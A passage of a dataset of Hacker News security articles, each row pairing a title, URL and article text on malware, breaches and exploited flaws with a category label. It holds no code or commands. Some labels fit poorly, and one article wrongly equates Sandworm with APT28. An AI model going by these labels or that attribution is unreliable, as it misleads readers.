Jo Van Bulck led team reported this flaw to the Intel team almost a year ago, whereas Bitdefender reported it just last month immediately after discovering it independently.

Intel has acknowledged these findings and today released a list of all affected products on its website along with the information on microcode security patch updates.

However, since the hardware flaws cannot be eradicated with software patches and flushing affected buffers are no longer sufficient, researchers suggest affected users to either disable rich performance features like hyper-threading, or replace the hardware to completely avoid such vulnerabilities.
",Vulnerability
Judy Android Malware Infects Over 36.5 Million Google Play Store Users,https://thehackernews.com/2017/05/android-adware-malware.html,"Security researchers have claimed to have discovered possibly the largest malware campaign on Google Play Store that has already infected around 36.5 million Android devices with malicious ad-click software.

The security firm Checkpoint on Thursday published a blog post revealing more than 41 Android applications from a Korean company on Google Play Store that make money for its creators by creating fake advertisement clicks from the infected devices.

All the malicious apps, developed by Korea-based Kiniwini and published under the moniker ENISTUDIO Corp, contained an adware program, dubbed Judy, that is being used to generate fraudulent clicks to generate revenue from advertisements.

Moreover, the researchers also uncovered a few more apps, published by other developers on Play Store, inexplicably containing the same the malware in them.

The connection between the two campaigns remains unclear, though researchers believe it is possible that one developer borrowed code from the other, ""knowingly or unknowingly.""
""It is quite unusual to find an actual organization behind the mobile malware, as most of them are developed by purely malicious actors,"" CheckPoint researchers say.
Apps available on play store directly do not contain any malicious code that helped apps to bypass Google Bouncer protections.

Once downloaded, the app silently registers user device to a remote command and control server, and in reply, it receives the actual malicious payload containing a JavaScript that starts the actual malicious process.
""The malware opens the URLs using the user agent that imitates a PC browser in a hidden webpage and receives a redirection to another website,"" the researchers say. ""Once the targeted website is launched, the malware uses the JavaScript code to locate and click on banners from the Google ads infrastructure.""
The malicious apps are actual legitimate games, but in the background, they act as a bridge to connect the victim's device to the adware server.

Once the connection is established, the malicious apps spoof user agents to imitate itself as a desktop browser to open a page and generate clicks.

Here's a list of malicious apps developed by Kiniwini and if you have any of these installed on your device, remove it immediately:

Fashion Judy: Snow Queen style
Animal Judy: Persian cat care
Fashion Judy: Pretty rapper
Fashion Judy: Teacher style
Animal Judy: Dragon care
Chef Judy: Halloween Cookies
Fashion Judy: Wedding Party
Animal Judy: Teddy Bear care
Fashion Judy: Bunny Girl Style
Fashion Judy: Frozen Princess
Chef Judy: Triangular Kimbap
Chef Judy: Udong Maker – Cook
Fashion Judy: Uniform style
Animal Judy: Rabbit care
Fashion Judy: Vampire style
Animal Judy: Nine-Tailed Fox
Chef Judy: Jelly Maker – Cook
Chef Judy: Chicken Maker
Animal Judy: Sea otter care
Animal Judy: Elephant care
Judy's Happy House
Chef Judy: Hotdog Maker – Cook
Chef Judy: Birthday Food Maker
Fashion Judy: Wedding day
Fashion Judy: Waitress style
Chef Judy: Character Lunch
Chef Judy: Picnic Lunch Maker
Animal Judy: Rudolph care
Judy's Hospital: Pediatrics
Fashion Judy: Country style
Animal Judy: Feral Cat care
Fashion Judy: Twice Style
Fashion Judy: Myth Style
Animal Judy: Fennec Fox care
Animal Judy: Dog care
Fashion Judy: Couple Style
Animal Judy: Cat care
Fashion Judy: Halloween style
Fashion Judy: EXO Style
Chef Judy: Dalgona Maker
Chef Judy: ServiceStation Food
Judy's Spa Salon

At least one of these apps was last updated on Play store in April last year, means the malicious apps were propagating for more than a year.

Google has now removed all above-mentioned malicious apps from Play Store, but since Google Bouncer is not sufficient to keep bad apps out of the official store, you have to be very careful about downloading apps.

",Malware
Ashley Madison to Pay $11.2 Million to Data Breach Victims,https://thehackernews.com/2017/07/ashley-madison-data-breach.html,"Ashley Madison, an American most prominent dating website that helps people cheat on their spouses has been hacked, has agreed to an $11.2 Million settlement for roughly 37 million users whose personal details were exposed in a massive data breach two years ago.

Though the parent company of Ashley Madison, Ruby Corp., denies any wrongdoing, the company has pledged to pay around $3,500 to each of the hack's victims for the settlement.

The settlement has to be reviewed by a federal judge in St. Louis.

Ashley Madison marketed itself as a means to help people cheat on their spouses, with a tagline ""Life is short. Have an affair.""

The site was breached in July 2015 and hackers dumped nearly 100 gigabytes' worth of sensitive data belonging to 37 million users of the casual sex and marriage affair website onto the dark web.

The leaked data included victims' usernames, first and last names, email addresses, passwords, credit card data information, street names, phone numbers, and transactions records, which led to blackmails and even suicides.

The 2015 data breach cost Ruby Corp, formerly known as Avid Life, over a quarter of its revenue and forced the Toronto-based company to spend millions of dollars to boost security and user privacy.

Ruby Corp was already forced to pay $1.66 Million to settle charges from Federal Trade Commission (FTC) and 13 states, alleging that the service misled its consumers about its privacy policy and didn't do enough to protect their information.

Besides this, the company also agreed to 20 years' worth of the FTC overseeing its network security to ensure that its user data is being protected. This includes:
Performing a risk assessment to protect customer data.
Implementing new data security protocols.
Upgrading systems based on the assessments.
Offering periodic security risk assessment (both internal and third-party).
Requiring ""reasonable safeguards"" against any potential cyber attacks from their service providers.
Now, according to Reuters, the company has to pay $11.2 million to users who were affected by the breach – users with valid claims can get up to $3,500 depending on their losses attributable to the breach.

",Data_Breaches
Android Issues Patches for 4 New Zero-Day Bugs Exploited in the Wild,https://thehackernews.com/2021/05/android-issues-patches-for-4-new-zero.html,"Google on Wednesday updated its May 2021 Android Security Bulletin to disclose that four of the security vulnerabilities that were patched earlier this month by Arm and Qualcomm may have been exploited in the wild as zero-days.
""There are indications that CVE-2021-1905, CVE-2021-1906, CVE-2021-28663 and CVE-2021-28664 may be under limited, targeted exploitation,"" the search giant said in an updated alert.
The four flaws impact Qualcomm Graphics and Arm Mali GPU Driver modules —
CVE-2021-1905 (CVSS score: 8.4) - A use-after-free flaw in Qualcomm's graphics component due to improper handling of memory mapping of multiple processes simultaneously.
CVE-2021-1906 (CVSS score: 6.2) - A flaw concerning inadequate handling of address deregistration that could lead to new GPU address allocation failure.
CVE-2021-28663 (CVSS score: NA) - A vulnerability in Arm Mali GPU kernel that could permit a non-privileged user to make improper operations on GPU memory, leading to a use-after-free scenario that could be exploited to gain root privilege or disclose information.
CVE-2021-28664 (CVSS score: NA) - An unprivileged user can achieve read/write access to read-only memory, enabling privilege escalation or a denial-of-service (DoS) condition due to memory corruption.
Successful exploitation of the weaknesses could grant an adversary carte blanche access to the targeted device and take over control. It's, however, not clear how the attacks themselves were carried out, the victims that may have been targeted, or the threat actors that may be abusing them.
The development marks one of the rare instances where zero-day bugs in Android have been spotted in real-world cyber offensives.
Earlier this March, Google revealed that a vulnerability affecting Android devices that use Qualcomm chipsets (CVE-2020-11261) was being weaponized by adversaries to launch targeted attacks. The other flaw is CVE-2019-2215, a vulnerability in Binder — Android's inter-process communication mechanism — that's said to have been allegedly exploited by the NSO Group as well as SideWinder threat actor to compromise a victim's device and collect user information.

",Malware
"NVIDIA Developer Forums Hacked, 400000 user accounts at Risk",https://thehackernews.com/2012/07/nvidia-developer-forums-hacked-400000.html,"Nvidia shut down its Developer Zone online forum today after hackers gained access to members' account details.A statement Nvidia posted on the forum reads, ""Nvidia suspended operations today of the Nvidia Developer Zone. We did this in response to attacks on the site by unauthorised third parties who may have gained access to hashed passwords.""

Users are also warned not to provide any personal, financial or sensitive information in response to any email purporting to be sent by an NVIDIA employee or representative. All user passwords will be reset when the system comes back online, though it wasn't mentioned when that was going to be. NVIDIA insists it is ""continuing to investigate this matter.

Nvidia forum hack follows the recent LinkedIn and Yahoo! hacks. Earlier 6.5 million LinkedIn hashed passwords were stolen and subsequently published on unauthorized websites.

",Vulnerability
Hackers Exploit IT Monitoring Tool Centreon to Target Several French Entities,https://thehackernews.com/2021/02/hackers-exploit-it-monitoring-tool.html,"Russia-linked state-sponsored threat actor known as Sandworm has been linked to a three-year-long stealthy operation to hack targets by exploiting an IT monitoring tool called Centreon.
The intrusion campaign — which breached ""several French entities"" — is said to have started in late 2017 and lasted until 2020, with the attacks particularly impacting web-hosting providers, said the French information security agency ANSSI in an advisory.
""On compromised systems, ANSSI discovered the presence of a backdoor in the form of a webshell dropped on several Centreon servers exposed to the internet,"" the agency said on Monday. ""This backdoor was identified as being the PAS webshell, version number 3.1.4. On the same servers, ANSSI found another backdoor identical to one described by ESET and named Exaramel.""
The Russian hacker group (also called APT28, TeleBots, Voodoo Bear, or Iron Viking) is said to be behind some of the most devastating cyberattacks in past years, including that of Ukraine's power grid in 2016, the NotPetya ransomware outbreak of 2017, and the Pyeongchang Winter Olympics in 2018.
While the initial attack vector seems unknown as yet, the compromise of victim networks was tied to Centreon, an application, and network monitoring software developed by a French company of the same name.
Centreon, founded in 2005, counts Airbus, Air Caraïbes, ArcelorMittal, BT, Luxottica, Kuehne + Nagel, Ministère de la Justice français, New Zealand Police, PWC Russia, Salomon, Sanofi, and Sephora among its customers. It's not clear how many or which organizations were breached via the software hack.
Compromised servers ran the CENTOS operating system (version 2.5.2), ANSSI said, adding it found on the two different kinds of malware — one publicly available webshell called PAS, and another known as Exaramel, which has been used by Sandworm in previous attacks since 2018.
The web shell comes equipped with features to handle file operations, search the file system, interact with SQL databases, carry out brute-force password attacks against SSH, FTP, POP3, and MySQL, create a reverse shell, and run arbitrary PHP commands.
Exaramel, on the other hand, functions as a remote administration tool capable of shell command execution and copying files to and fro between an attacker-controlled server and the infected system. It also communicates using HTTPS with its command-and-control (C2) server in order to retrieve a list of commands to run.
In addition, ANSSI's investigation revealed the use of common VPN services in order to connect to web shells, with overlaps in C2 infrastructure connecting the operation to Sandworm.
""The intrusion set Sandworm is known to lead consequent intrusion campaigns before focusing on specific targets that fits its strategic interests within the victims pool,"" the researchers detailed. ""The campaign observed by ANSSI fits this behaviour.""
In light of the SolarWinds supply-chain attack, it should come as no surprise that monitoring systems such as Centreon have become a lucrative target for bad actors to gain a foothold and laterally move across victim environments. But unlike the former's supply chain compromise, the newly disclosed attacks differ in that they appear to have been carried out by leveraging internet-facing servers running Centreon's software inside the victims' networks.
""It is therefore recommended to update applications as soon as vulnerabilities are public and corrective patches are issued,"" ANSSI warned. ""It is recommended either not to expose these tools' web interfaces to [the] Internet or to restrict such access using non-applicative authentication.""
In October 2020, the U.S. government formally charged six Russian military officers for their participation in destructive malware attacks orchestrated by this group, in addition to linking the Sandworm actor to Unit 74455 of the Russian Main Intelligence Directorate (GRU), a military intelligence agency part of the Russian Army.
UPDATE
French software company Centreon on Tuesday issued a clarification following the publication of ANSSI's report, stating none of its customers were affected in the hacking campaign that was found to strike business entities running its network monitoring software.
""The campaign described by ANSSI exclusively concerns obsolete versions of Centreon's open source software,"" which it said is no longer being actively supported for five years, adding ""only about fifteen entities were the target of this campaign.
ANSSI, in its analysis, had said the attacks specifically targeted web-hosting companies.
Besides urging users of its outdated software to update to the latest version, Centreon also made it a point to stress that the campaign is not a supply chain type attack and that ""no parallel with other attacks of this type can be made in this case.""

",Cyber_Attack
Attention! FluBot Android Banking Malware Spreads Quickly Across Europe,https://thehackernews.com/2021/04/attention-flubot-android-banking.html,"Attention, Android users! A banking malware capable of stealing sensitive information is ""spreading rapidly"" across Europe, with the U.S. likely to be the next target.
According to a new analysis by Proofpoint, the threat actors behind FluBot (aka Cabassous) have branched out beyond Spain to target the U.K., Germany, Hungary, Italy, and Poland. The English-language campaign alone has been observed to make use of more than 700 unique domains, infecting about 7,000 devices in the U.K.
In addition, German and English-language SMS messages were found being sent to U.S. users from Europe, which Proofpoint suspects could be the result of malware propagating via contact lists stored on compromised phones. A concerted campaign aimed at the U.S. is yet to be detected.
FluBot, a nascent entry in the banking trojan landscape, began its operations late last year, with campaigns leveraging the malware infecting more than 60,000 users in Spain, according to an analysis published by Proactive Defence Against Future Threats (PRODAFT) in March 2021. It's said to have amassed more than 11 million phone numbers from the devices, representing 25% of the total population in Spain.
Primarily distributed via SMS phishing (aka smishing), the messages masquerade as a delivery service such as FedEx, DHL, and Correos, seemingly notifying users of their package or shipment delivery status along with a link to track the order, which, when clicked, downloads malicious apps that have the encrypted FluBot module embedded within them.
""FluBot is a new Android banking malware that uses overlay attacks to perform webview-based application phishing,"" the researchers noted. ""The malware mainly targets mobile banking and cryptocurrency applications but also gathers a wide range of user data from all installed applications on a given device.""
Upon installation, FluBot not only tracks the applications launched on the device but also overlays login pages of financial apps with specially-crafted malicious variants from an attacker-controlled server, designed with the goal of hijacking credentials, in addition to retrieving contact lists, messages, calls, and notifications by abusing the Android Accessibility Service.
Although Spanish authorities arrested four criminals suspected to be behind the FluBot campaign last month, infections have since picked up, while simultaneously expanding the countries targeted to include Japan, Norway, Sweden, Finland, Denmark, and the Netherlands in a short period of time, per latest insights from ThreatFabric.
The spurt in FluBot activity has prompted Germany's Federal Office for Information Security (BSI) and the U.K.'s National Cyber Security Centre (NCSC) to issue alerts warning of ongoing attacks via fraudulent SMS messages that trick users into installing ""spyware that steals passwords and other sensitive data.""
""FluBot is likely to continue to spread at a fairly rapid rate, moving methodically from country to country via a conscious effort by the threat actors,"" Proofpoint researchers said. ""As long as there are users willing to trust an unexpected SMS message and follow the threat actors' provided instructions and prompts, campaigns such as these will be successful.""

",Malware
New Mirai Okiru Botnet targets devices running widely-used ARC Processors,https://thehackernews.com/2018/01/mirai-okiru-arc-botnet.html,"The cybersecurity threat landscape has never been more extensive and is most likely to grow exponentially in 2018.

Although the original creators of Mirai DDoS botnet have already been arrested and jailed, the variants of the infamous IoT malware are still in the game due to the availability of its source code on the Internet.

Security researchers have spotted a new variant of infamous Mirai IoT malware designed to hijack insecure devices that run on ARC embedded processors.

Until now, Mirai and its variants have been targeting CPU architectures—including x86, ARM, Sparc, MIPS, PowerPC and Motorola 6800—deployed in millions of Internet of Things (IoT) devices.

Dubbed Okiru, the new Mirai variant, first spotted by @unixfreaxjp from MalwareMustDie team and notified by independent researcher Odisseus, is a new piece of ELF malware that targets ARC-based embedded devices running Linux operating system.
""This is the FIRST TIME ever in the history of computer engineering that there is a malware for ARC CPU, & it is #MIRAI OKIRU!! Pls be noted of this fact, & be ready for the bigger impact on infection Mirai (specially #Okiru) to devices hasn't been infected yet,"" Odisseus tweeted.
ARC (Argonaut RISC Core) embedded processor is the world's second-most-popular CPU core that's being shipped in more than 2 billion products every year, including cameras, mobile, utility meters, televisions, flash drives, automotive and the Internet of Things.

However, this isn't first Mirai botnet variant based on Linux ELF malware. Mirai also has another ELF-based variant, which was designed to target devices running MIPS and ARM processors.

It should also be noted that Okiru, which has previously been also named as Satori IoT botnet (another Mirai variant discovered late last year), is ""very different"" from Satori despite having several similar characteristics, as explained in a Reddit thread.

Record-Breaking DDoS? The Calm Before The Storm

IoTs are currently being deployed in a large variety of devices throughout your home, businesses, hospitals, and even cities (smart cities), but they're routinely being hacked and used as cyber weapons due to lack of stringent security measures and insecure encryption mechanisms.

If you are unaware, the world's largest 1 Tbps DDoS attack so far was launched from just 152,000 infected IoT devices using Mirai botnet, and in a separate attack, just 100,000 devices took down the popular DynDNS service in late 2016.

Since Okiru has been ported to target a new range of millions of ""expectedly insecure"" devices running ARC processors, the DDoS attack going to be generated by Okiru botnet would probably be the biggest cyberattack ever.
""From this day, the landscape of #Linux #IoT infection will change. #ARC CPU has produced #IoT devices more than 1 billion per year. So these devices are what the hackers want to aim to infect #ELF #malware with their #DDoS cannons. It's a serious threat will be,"" Odisseus tweeted.
The fresh arrival of ARC-based IoT devices into botnet scheme will exponentially raise the number of insecure devices to an unprecedented size, making it easy for hackers to gain control over a large number of poorly configured and vulnerable IoT devices.

",Malware
Smartphones cache poses huge risk for Cloud Storage Security,https://thehackernews.com/2013/03/smartphones-cache-poses-huge-risk-for_27.html,"A couple of years ago, the tech world was abuzz about the cloud. Cloud computing refers to computing where the processing or storage takes place on a networked series of computers rather than on the device that you're using. Whether you're using a PC, laptop, tablet, smartphone, television, or video game console, everything now connected to Cloud Storage and always in sync.

But there is a limitation, that smartphones can essentially remember deleted information, which poses a huge risk to organizations that issue smartphones to employees and to organizations that don't explicitly disable the use of personal devices for work-related computing.

Researchers at the University of Glasgow found that cloud storage apps that say they send files to the cloud also leave retrievable versions of files on the devices. They tested some cloud-based file storage systems tested included Box, Dropbox and SugarSync on HTC Desire, running Android 2.1, and an iPhone 3S running iOS 3. They found that Smartphone devices which access cloud storage services can potentially contain a proxy view of the data stored in a cloud storage service.

If the cloud storage application has been used to view the files in the cloud and later user has not attempted to clear the cache of recently viewed files, it can potentially provide a partial view of the data without access to the data provider.

As a Forensic Expert, The recovery of cache data from these devices can in some scenarios provide access to further data stored in a cloud storage account.

The results from the experiment have shown that it is possible to recover files from the Dropbox, Box and SugarSync services using smartphone devices. On the HTC Desire, both deleted and available files were recovered. The forensic toolkits recovered nine files from Dropbox, fifteen from Box and eleven from SugarSync. On the iPhone, depending on application and device manipulation either five or seven files were recovered from Dropbox, seven or fifteen from SugarSync and five from Box.

Also meta-data was recovered from all the applications on both devices. This meta-data included transitional logs containing user activity, meta-data related to the files in the storage service and information about the user of the application.

The paper also suggests more research is needed, because the whole point of cloud storage is access from multiple devices and security of those devices is therefore very important.

",Vulnerability
BlackBerry Enterprise Servers vulnerable to TIFF Image based Exploit,https://thehackernews.com/2013/02/blackberry-enterprise-servers.html,"If you are a BlackBerry Enterprise Network user, here is something you need to be careful about. BlackBerry Enterprise Server (BES) users have been warned that an image-based exploit could allow hackers to access and execute code on the servers used to support corporate users of BlackBerry smartphones.

The flaw that been rated as high severity and actual vulnerability in BlackBerry Enterprise Servers resulted from how the server processes image files.


Scenario to Exploit Vulnerability : A malicious person writes a special code and then embeds it in a TIFF image file. The person then convinces a Blackberry smart phone user (whose phone is connected to a corporate BES) to view the TIFF file.

As soon as the image file loads on the phone, the code runs on the Blackberry Enterprise server and either opens up a back door in the network or causes the network to crash altogether as instructed in the basic code.

""RIM is not aware of any attacks on or specifically targeting BlackBerry Enterprise Server customers, and recommends that affected customers update to the latest available software version to be fully protected from these vulnerabilities."" Blackberry said.

The exploit uses a TIFF image containing malicious code, and the dangerous image can either be linked to an email or attached directly to it. Depending on the privileges available to the configured BlackBerry Enterprise Server service account, the attacker might also be able to extend access to other non-segmented parts of the network.

BlackBerry Enterprise Server Express version 5.0.4 and earlier for Microsoft Exchange and IBM Lotus Domino and BlackBerry Enterprise Server version 5.0.4 and earlier for Microsoft Exchange, IBM Lotus Domino and Novell Groupwise are affected only.

",Malware
5.6 Million Federal Employees' Fingerprints Stolen in OPM Hack,https://thehackernews.com/2015/09/opm-hack-fingerprint.html,"The OPM Data Breach (Office of Personnel Management) is getting even worse than we thought.

We already know more than 21 Million current and former federal employees had their personal and highly sensitive private information hijacked in a massive data breach that affected Defense Department's OPM.

But, now it has been revealed that the hackers have made off a lot more than just names, residential addresses, and social security numbers of the US government employees. And it's the unique and all time constant identity – The Fingerprints.

5.6 MILLLLLION Fingerprints Breached

The US officials on Wednesday admitted that nearly 5.6 Million Fingerprints of its federal employees were also stolen in the massive data breach took place in April this year.

The OPM, the US government agency that handles all federal employee data, had previously reported that some 1.1 Million Fingerprints were stolen. However, this figure has now been increased to 5.6 Million.

Let's give it a thought, stolen fingerprints seems to be an even worse scenario than Stolen passwords, as unlike passwords, you can't change your fingerprints.

Fingerprints are now frequently used in biometric authentication from smartphones to government checkpoints and background checks. So once stolen, the miscreants can keep on misusing your fingerprint data to do other malicious things for the rest of your life.

However, federal experts believe that the ""ability to misuse fingerprint data is limited… This probability could change over time as technology evolves,"" OPM's Press Secretary Samuel Schumach said in a statement on Wednesday.

What's even worse?

The final number (5.6 Million) isn't confirmed yet, as Schumach noted that an interagency investigation group will ""continue to analyze and refine the data as it prepares to mail notification letters to impacted individuals.""

Yes, the OPM has set up an interagency team – which includes members of the FBI, Defense Department, and Homeland Security, among others – to review the potential ways hackers could ""misuse fingerprint data now and in the future.""

The Government also ensures that it will provide additional information to the affected individuals if hackers found new ways to misuse their fingerprint data in the future.

For now, whoever has access to the Goldmine – Stolen OPM data – holds a highly Powerful, unchangeable key.

",Data_Breaches
How Apple Gave Chinese Government Access to iCloud Data and Censored Apps,https://thehackernews.com/2021/05/how-apple-gave-chinese-government.html,"In July 2018, when Guizhou-Cloud Big Data (GCBD) agreed to a deal with state-owned telco China Telecom to move iCloud data belonging to Apple's China-based users to the latter's servers, the shift raised concerns that it could make user data vulnerable to state surveillance.
Now, according to a deep-dive report from The New York Times, Apple's privacy and security concessions have ""made it nearly impossible for the company to stop the Chinese government from gaining access to the emails, photos, documents, contacts and locations of millions of Chinese residents.""
The revelations stand in stark contrast to Apple's commitment to privacy, while also highlighting a pattern of conceding to the demands of the Chinese government in order to continue its operations in the country.
Apple, in 2018, announced iCloud data of users in mainland China would move to a new data center in Guizhou province as part of a partnership with GCBD. The transition was necessitated to abide by a 2017 regulation that required all ""personal information and important data"" collected on Chinese users ""be stored in the territory.""
""iCloud in China mainland is operated by GCBD (AIPO Cloud (Guizhou) Technology Co. Ltd). This allows us to continue to improve iCloud services in China mainland and comply with Chinese regulations,"" the iPhone maker's support document states.
Although iCloud data is end-to-end encrypted, Apple is said to have agreed to move the encryption keys to its Chinese data centers, when before all iCloud encryption keys were stored on U.S. servers, and therefore subject to U.S. laws around requests for government access.
While U.S. law forbids American companies from turning over data to Chinese law enforcement, the New York Times report reveals that Apple and China entered into an ""unusual arrangement"" to sidestep U.S. legislation.
To that effect, the company ceded legal ownership of its customers' data to GCBD, in addition to granting GCBD physical control over the servers and complete access to all information stored in iCloud, thereby allowing ""Chinese authorities ask GCBD — not Apple — for Apple customers' data.""
In the wake of the law's passing, Apple has provided the contents of an unspecified number of iCloud accounts to the government in nine cases and challenged three government requests for data, the report added. However, there's no evidence to suggest that the Chinese government gained access to users' data with the help of the digital keys.
What's more, Apple reportedly eschewed hardware security modules (HSM) made by Thales by building its own in-house HSMs after China refused to certify the devices for use. HSMs house one or more secure crypto processors and are used to perform encryption and decryption functions, and store cryptographic keys inside a tamper-resistant environment.
Besides refuting the allegations, Apple told the New York Times that it ""never compromised"" the security of users or user data in China ""or anywhere we operate,"" adding its Chinese data centers ""feature our very latest and most sophisticated protections,"" that are expected to be rolled out to other countries.
Beyond its handling of Chinese users' data, the report also called out Apple for its removal of tens of thousands of apps from the Chinese App Store over the past several years, including foreign news services, gay dating, and encrypted messaging apps. Since 2017, an estimated 55,000 apps have been purged, per data compiled by Sensor Tower.
""Apple asked a lot of people to back them against the FBI in 2015,"" security researcher and Johns Hopkins professor Matthew Green said in a series of tweets. ""They used every tool in the legal arsenal to prevent the U.S. from gaining access to their phones. Do they think anyone is going to give them the benefit of the doubt now?""
""Apple is clearly being forced to give the Chinese government more control over customer data. The current compromise may even be 'ok', in the sense that some end-to-end encryption is allowed. But sooner or later the Chinese government is going to ask Apple for something that it doesn't want to give up, and Apple is going to have to make a choice. Maybe they already have,"" Green added.

",Malware
Android Banking Trojan Tricks Victims into Submitting Selfie Holding their ID Card,https://thehackernews.com/2016/10/android-banking-trojan.html,"While some payment card companies like Mastercard have switched to selfies as an alternative to passwords when verifying IDs for online payments, hackers have already started taking advantage of this new security verification methods.

Researchers have discovered a new Android banking Trojan that masquerades primarily as a video plugin, like Adobe Flash Player, pornographic app, or video codec, and asks victims to send a selfie holding their ID card, according to a blog post published by McAfee.

The Trojan is the most recent version of Acecard that has been labeled as one of the most dangerous Android banking Trojans known today, according to Kaspersky Lab Anti-malware Research Team.

Once successfully installed, the trojan asks users for a number of device's permissions to execute the malicious code and then waits for victims to open apps, specifically those where it would make sense to request payment card information.

Acecard Steals your Payment Card and Real ID details
The banking trojan then overlays itself on top of the legitimate app where it proceeds to ask users for their payment card number and card details such as card holder's name, expiration date, and CVV number.
""It displays its own window over the legitimate app, asking for your credit card details,"" explains McAfee researcher Bruce Snell. ""After validating the card number, it goes on to ask for additional information such as the 4-digit number on the back.""
Once this is done, the trojan then looks to obtain users' personal information, including their name, date of birth, mailing address, for ""verification purposes,"" and even requests a photo of the front and back sides of their ID card.

After this, the Trojan also prompts to ask users to hold their ID card in their hand, underneath their face, and take a selfie.

Hackers can make illegal Transfers and Take Over your Online Accounts

All these pieces of information are more than enough for an attacker to verify illegal banking transactions and steal access to victims' social media accounts by confirming the stolen identities.

So far this version of Acecard Android banking Trojan has impacted users in Singapore and Hong Kong.

This social engineering trick of Trojan obviously is not new, and any tech-savvy users would quickly catch this malicious behavior as there is no reason for Google to ask for your ID card. But the trick still works with non and less technical users.

Since all of these fake apps have been distributed outside of Google Play Store, users are strongly advised to avoid downloading and installing apps from untrusted sources. Besides this, users should pay attention to the permissions apps are asking for.

Most importantly: No app needs a photo of you holding your ID card except perhaps a mobile banking service. So, always be cautious before doing that.

",Malware
New Kimsuky Module Makes North Korean Spyware More Powerful,https://thehackernews.com/2020/11/new-kimsuky-module-makes-north-korean.html,"A week after the US government issued an advisory about a ""global intelligence gathering mission"" operated by North Korean state-sponsored hackers, new findings have emerged about the threat group's spyware capabilities.
The APT — dubbed ""Kimsuky"" (aka Black Banshee or Thallium) and believed to be active as early as 2012 — has been now linked to as many as three hitherto undocumented malware, including an information stealer, a tool equipped with malware anti-analysis features, and a new server infrastructure with significant overlaps to its older espionage framework.
""The group has a rich and notorious history of offensive cyber operations around the world, including operations targeting South Korean think tanks, but over the past few years they have expanded their targeting to countries including the United States, Russia and various nations in Europe,"" Cybereason researchers said in an analysis yesterday.
Last week, the FBI and departments of Defense and Homeland Security jointly released a memo detailing Kimsuky's tactics, techniques, and procedures (TTPs).
Leveraging spear-phishing and social engineering tricks to gain the initial access into victim networks, the APT has been known to specifically target individuals identified as experts in various fields, think tanks, the cryptocurrency industry, and South Korean government entities, in addition to posing as journalists from South Korea to send emails embedded with BabyShark malware.
In recent months, Kimsuky has been attributed to a number of campaigns using coronavirus-themed email lures containing weaponized Word documents as their infection vector to gain a foothold on victim machines and launch malware attacks.
""Kimsuky focuses its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions,"" the Cybersecurity and Infrastructure Security Agency (CISA) said.
Now according to Cybereason, the threat actor has acquired new capabilities via a modular spyware suite called ""KGH_SPY,"" allowing it to carry out reconnaissance of target networks, capture keystrokes, and steal sensitive information.
Besides this, the KGH_SPY backdoor can download secondary payloads from a command-and-control (C2) server, execute arbitrary commands via cmd.exe or PowerShell, and even harvest credentials from web browsers, Windows Credential Manager, WINSCP and mail clients.
Also of note is the discovery of a new malware named ""CSPY Downloader"" that's designed to thwart analysis and download additional payloads.
Lastly, Cybereason researchers unearthed a new toolset infrastructure registered between 2019-2020 that overlaps with the group's BabyShark malware used to previously target US-based think tanks.
""The threat actors invested efforts in order to remain under the radar, by employing various anti-forensics and anti-analysis techniques which included backdating the creation/compilation time of the malware samples to 2016, code obfuscation, anti-VM and anti-debugging techniques,"" the researchers said.
""While the identity of the victims of this campaign remains unclear, there are clues that can suggest that the infrastructure targeted organizations dealing with human rights violations.""

",Cyber_Attack
FBI seized Citadel banking Trojan servers,https://thehackernews.com/2013/06/download-Citadel-botnet-antivirus-account-hacking.html,"Microsoft and the FBI have taken down a botnet that controlled millions of infected PCs, which was responsible for massive bank fraud. Botnets are networks of computers infected with viruses that let them be controlled by hackers.

The outfit runs the Citadel Botnets and is believed to have stolen more than $500 million from bank accounts over the past 18 months. Citadel is one of the biggest botnets in operation today.

Citadel is a banking Trojan that has been in existence since 2011. As with most banking Trojans, Citadel is a full crimeware kit, providing the attackers with payload builders, a command and control (C&C) server infrastructure, and configuration scripts to target various banks.

Citadel infected as many as 5 million PCs around the world including here in Australia and according to Microsoft, was used to steal from dozens of financial institutions, including American Express, Bank of America, Citigroup, Credit Suisse, eBay's PayPal, HSBC, JPMorgan Chase, Royal Bank of Canada and Wells Fargo.
Citadel installed keylogging software onto a computer, which tracked everything a person typed. Microsoft also admitted that it does not expect to have wiped out the Citadel botnet fully, simply because of its sheer size.
As a result, when users access their bank accounts online, they unwittingly provide access to banking passwords and other confidential information to the hackers.
Earlier Wednesday, federal marshals escorted Microsoft officials to two data hosting facilities in New Jersey and Pennsylvania, where they seized data and evidence from the botnets.

Microsoft has filed a civil lawsuit in the U.S. District Court in Charlotte, North Carolina against the unknown hackers and obtained a court order to shut down the botnets and identifies the ringleader as 'John Doe No. 1', who goes by the alias Aquabox and is accused of creating and maintaining the botnet.

The FBI working closely with Europol and other overseas authorities to try to capture the unknown criminals.

Microsoft and its allies did not believe the threat from Citadel was eliminated but were confident they were able to significantly disrupt the criminal operation.

",Malware
Warning! Popular Apple Store Apps Infected with Data-Theft Malware,https://thehackernews.com/2015/09/apple-apps-malware.html,"Unlike Google Play Store, Apple App Store is well known for not allowing any malformed apps to enter its Apple ecosystem because of its tight security checks.

But, not anymore.

Hundreds of malicious apps managed to get hosted on Apple's official App store and subsequently downloaded by several hundred Million iPad and iPhone owners. Out of them, Palo Alto Networks published a list of 39 malicious yet legitimate apps that made ways to the App Store.

First Major Malware Attack on Apple's App Store

Yes, Apple App Store is targeted by a malware attack in which some versions of software used by software developers to build their apps for iOS and OS X were infected with malware, named XcodeGhost.

XcodeGhost secretly sniffs off data from customer's device and uploads it to the attacker's servers without the user's knowledge, according to security firm Palo Alto Networks.

Apps were infected after developers used a malicious version of the Xcode — Apple's developer toolkit used to develop iOS and Mac OS X apps.

Xcode is downloaded directly from Apple for free as well as from other sources such as developer forums. Chinese file-sharing service Baidu Yunpan offers some versions of Xcode that contains extra lines of code.

These malicious variants of Xcode have been dubbed as XcodeGhost by AliBaba researchers.

Affected Applications

A total of 39 apps, including the popular instant messaging app WeChat, Chinese Uber-like cab service Didi Kuaidi, music streaming service NetEase, photo editor Perfect365 and card scanning tool CamCard, were found to be infected by the malicious Xcode.

Not just China, Apple users outside China are also affected by the malware. The mainstay WinZip decompression app, Musical.ly, and the Mercury Browser are also among the affected apps.

The Imapct Of XcodeGhost?

Once installed, the malicious app contains dangerous XcodeGhost code prompt fake alerts to:
Phish user credentials
Hijack URLs
Read and Write data, such as victims' iCloud passwords
Infect other apps using iOS
Researchers believe XcodeGhost is a very harmful and dangerous piece of malware that successfully bypassed Apple's code review as well as made ""unprecedented attacks on the iOS ecosystem.""

